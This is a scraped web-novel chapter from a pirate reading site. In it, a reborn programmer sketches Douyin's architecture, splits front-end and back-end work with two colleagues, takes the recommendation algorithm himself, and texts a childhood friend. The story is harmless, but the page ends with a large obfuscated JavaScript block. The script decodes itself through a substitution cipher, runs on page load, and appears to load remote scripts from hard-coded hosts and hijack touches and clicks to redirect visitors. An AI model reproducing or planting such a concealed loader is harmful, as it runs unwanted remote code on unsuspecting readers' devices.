首页
第2章 进行开发
返回
关灯 护眼:关 字号:小

第2章 进行开发

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第2章进行开发(第1/2页)
    “短视频?”
    赵磊和林晓异口同声。
    “对。”
    秦墨点了点头。
    “每个视频只有十几秒,大部分不超过一分钟的短视频。”
    办公室里安静了两秒。
    赵磊率先开口,语气里有着质疑。
    “十几秒的视频?这......这能有什么看头?”
    林晓也跟着点头。
    “是啊老大,现在的视频网站都是拼内容、拼版权,用户看的是电视剧、电影、综艺,十几秒能播什么?谁会看这种东西?”
    “你们还是以前的思维,短视频虽然沾了视频二字,但和寻常视频网站不是同一个概念。”
    秦墨的声音很平静。
    “可是......”赵磊要说些什么。
    “你们刷微博吗?”
    秦墨打断了他。
    两人愣了一下,点点头。
    “微博上那些搞笑的动图、短视频片段,你们会不会看?会不会转发?”
    赵磊张了张嘴,没说出话来。
    秦墨继续道。
    “现在的互联网用户,耐心越来越短,注意力越来越分散,没有人愿意花一个小时去看一个无聊的视频。”
    “但他们愿意花十几秒看一个有意思的片段,看完一个,随手一划,又是一个新的。”
    他顿了顿,声音不疾不徐。
    “这就是我要做的抖音。”
    “用户自己就是内容的生产者,不需要买版权,不需要请明星,每一个普通人拿起手机就能拍,拍了就能发,发了就可能被几百万几千万人看到。”
    “甚至。”
    “普通人能够借助这个平台改变人生。”
    赵磊皱着眉,消化着秦墨的话。
    林晓也沉默着。
    “老大,你说的有道理。”
    赵磊率先开口,但还是带着疑虑。
    “可是这种软件,真的会有人看吗,而且要怎么赚钱呢?”
    “赚钱的事以后再说。”
    “现在是先把产品做出来,把用户拉进来。”
    秦墨深呼一口气看着两人,目光认真。
    “相信我。”
    赵磊和林晓对视一眼。
    办公室里陷入短暂的沉默。
    “行。”
    赵磊率先站了起来,他拍了拍自己圆滚滚的肚子,脸上挤出个笑容。
    “反正都走到这一步了,再搏一次也没什么。”
    林晓推了推眼镜,也点点头。
    “老大,你说怎么干就怎么干,我听你的。”
    秦墨看着面前这两个跟着自己吃了两年苦的兄弟,没有说什么煽情的话,只是点了点头。
    “那就开始吧。”
    秦墨转过身,拉过办公室内的白板,在上面画出了架构图。
    “抖音的核心架构分三块,前端、后端、推荐算法。”
    “前端和常规的视频播放器差不多,但交互要重新设计,要做到全屏沉浸式,用户上下滑动就能切换视频,所有操作都要简单到不能再简单。”
    “后端要能支撑海量视频的上传、转码、存储、分发。”
    秦墨说到这里,停顿了一下。
    “这两块,你们俩负责。”
    “那推荐算法呢?”赵磊问。
    “我来。”
    秦墨的语气很平淡,像是在说一件再正常不过的事。
    “推荐算法是整个抖音的核心,也是其他公司最难以复制的部分。”
    前世。
    抖音之所以能从众多短视频软件中杀出来,靠的就是这套算法。
    它不看你关注了谁,不看你粉丝多少,它只看你的行为,你点赞了什么,停留了多久,划走了什么,反复看了什么。
    然后它就会像你肚子里的蛔虫一样,不断把你喜欢的内容推到你面前。
    (本章未完,请点击下一页继续阅读)第2章进行开发(第2/2页)
    这种算法在他的前世,经过了无数顶尖工程师几年时间的打磨和迭代才逐渐成熟。
    但对于现在的秦墨来说,架构和核心逻辑都在他脑子里,他要做的只是把它们一行一行敲出来。
    毕竟前世。
    他本就担任过抖音的首席架构师。
    “任务就这么定了。”
    秦墨转过身。
    “赵磊,你负责前端交互,林晓,你负责后端架构,框架和核心逻辑我会写好文档给你们。”
    “推荐算法我亲自来。”
    “有问题吗?”
    “没有。”两人齐声答道。
    “那就开始吧。”
    三人各自回到工位,办公室里安静下来,只剩下键盘敲击的声音。
    秦墨坐在靠窗的位置,打开电脑,开始搭建整个推荐系统的框架。
    他脑子里装着太多东西了。
    前世的移动互联网发展史,就是一部算法进化史,从最初的协同过滤,到后来的深度学习推荐。
    每一个阶段的架构、优劣、落地细节,他都一清二楚。
    他要做的不是一步到位做出最前沿的算法,而是先用一个简单但有效的版本,快速上线验证效果。
    他一面想着,手指在键盘上快速敲击
    就在这时候。
    口袋里手机震了一下。
    秦墨掏出手机,屏幕上弹出一条QQ消息。
    (江悠悠:“学长!!!我妈是不是又催你交房租了!你别理他!你等着我回去跟她说!”)
    看着短信内容,秦墨也是有些无奈。
    江悠悠是他大学时期的学妹,小他两届,从小两人便在一个小学,一起长大,是外人眼中的青梅竹马。
    不过。
    和自己的工人父母背景比,江悠悠家境就夸张许多。
    浪潮科技现在的办公室,租的就是江悠悠家名下的产业。
    这几年创业不顺,秦墨没少被江母“特殊关照”,每次都是江悠悠在中间周旋。
    他低头打字回复。
    “别去打扰阿姨,我刚刚已经把房租交了,还有,过几天我有事找你帮忙,你到时候别推。”
    短信发出去。
    几乎是秒回。
    “找我帮忙?!什么事什么事!你终于决定接受我这个貌美如花的小富婆包养了吗!!!”
    秦墨看完短信,把手机翻过来扣在桌上,继续敲代码。
    坐在对面的赵磊从显示器后面探出头,贼兮兮地问:“江校花?”
    秦墨头也没抬。
    “写你的代码。”
    赵磊缩回脑袋,和林晓对视一眼,两人脸上露出一个只可意会不可言传的笑容。
    这一周,浪潮科技的灯晚上就没熄灭过。
    秦墨把推荐算法的核心框架搭好后,写了详细的接口文档和框架说明,交给赵磊和林晓开始开发。
    他自己则一头扎进了算法的优化和调试中。
    办公室的桌上堆满了外卖盒子和速溶咖啡的包装袋。
    赵磊顶着两个黑眼圈,键盘敲得噼里啪啦响。
    林晓是个瘦高个,熬了一周之后眼窝都凹下去了,但精神头反而越来越好。
    一周后。
    秦墨靠在椅背上,看着面前屏幕上运行的程序,长出了一口气。
    在他面前的屏幕上,一个界面简洁的视频播放器正在运行,视频播放完毕自动切换到下一个,播放流畅,交互顺畅。
    而在看不见的后台,推荐算法的初版核心模块已经跑通了,虽然还远不如前世成熟版本那样精准,但最基础的框架已经有了。
    深呼一口气,秦墨语气都十分疲惫。
    “成了。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();